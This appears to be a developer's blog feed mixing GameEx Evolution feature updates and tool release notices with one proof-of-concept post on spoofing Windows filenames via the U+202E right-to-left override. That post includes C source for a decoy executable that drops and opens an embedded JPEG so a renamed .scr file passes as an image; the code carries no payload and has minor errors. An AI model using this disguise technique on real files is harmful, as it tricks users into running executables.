GameEx Evolution still supports Map Files. What do you guys think? Are they still useful?


GameEx Evolution still supports Map Files. What do you guys think? Are they still useful?


Just letting you all know that custom font support is going to be in the Evo release but you probably won't be able to do much until I release the Bitmap Font Editor so you can create them visually.
Anyway I'm really excited about seeing what cool fonts people create for Evo.


It looks like the framebuffer data in Mojave is no longer in nicely organized structs.

You will be able to edit your MAME game list based on many criterial such as controls, genre and category.


This is a beta feature but importation of your Steam games is there. Let us know what you think.

We have spent a lot of time on this feature. MAME SL (Software Lists) are easy to generate in GameEx Evolution.


MAME Compiler 64 v2.0 Released

So there's an interesting bug in Windows when using the U+202E unicode Right-to-Left Override [RLO] character in a filename. You can essentially make a dangerous file masquerade as something harmless like an image file.
As a proof of concept look at the following example. Here we have a perfectly innocent meme called Narcs.jpg. We embed it as a resource in a simple C application.

#include <windows.h>
#include <fstream.h>
#include <tchar.h>
#include "resource.h"
#define BUFSIZE 65536
#define countof(array) (sizeof(array)/sizeof(array[0]))
void Debug(LPCTSTR szFormat, ...);
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
DWORD dwRetVal;
DWORD dwBufSize = BUFSIZE;
WCHAR lpPathBuffer[BUFSIZE];
CHAR lpPath[BUFSIZE];
dwRetVal = GetTempPath(dwBufSize, lpPathBuffer);
_tcscat(lpPathBuffer, L"Narcs.jpg");
wcstombs(lpPath, lpPathBuffer, BUFSIZE - 1);
HRSRC hrSrc = FindResource(hInstance, MAKEINTRESOURCE(IDR_JPEG1), TEXT("JPG"));
if (!hrSrc)
return 0;
HGLOBAL hJpeg = LoadResource(hInstance, hrSrc);
if (!hJpeg)
return 0;
DWORD jpegSize = SizeofResource(hInstance, hrSrc);
if (!jpegSize)
return 0;
unsigned char* jpegData = (unsigned char*)LockResource(hJpeg);
if (!jpegData)
return 0;
std:fstream outputFile(lpPath, ios::out | ios::binary);
outputFile.write(jpegData, jpegSize);
outputFile.close();
ShellExecute(NULL, NULL, lpPathBuffer, NULL, NULL, SW_SHOWNORMAL);
return 0;
}
It's compiled to Narcs.exe. The trick now is to rename it like so:

Now the file will appear to be named Narcs.jpg but upon launch will run and extract the Narcs.jpg to the Temp folder and display it using the default Shell application associated with jpegs. The problem here is a screensaver file (extension .scr) is essentially an executable and can now do whatever nafarious things it likes.
Thankfully Microsoft is aware of this issue and Windows Defender will now detect and quaranteen such a file immediately.
Color2Alpha 1.2 Released
https://www.baker76.com/color2alpha

Texture Animation Generator v1.0
Create texture animation sheets by importing gif's, swf's or a sequence of images. Supports color to alpha, trimming alpha and maintaining aspect ratio.
https://www.baker76.com/texture-animation-generator
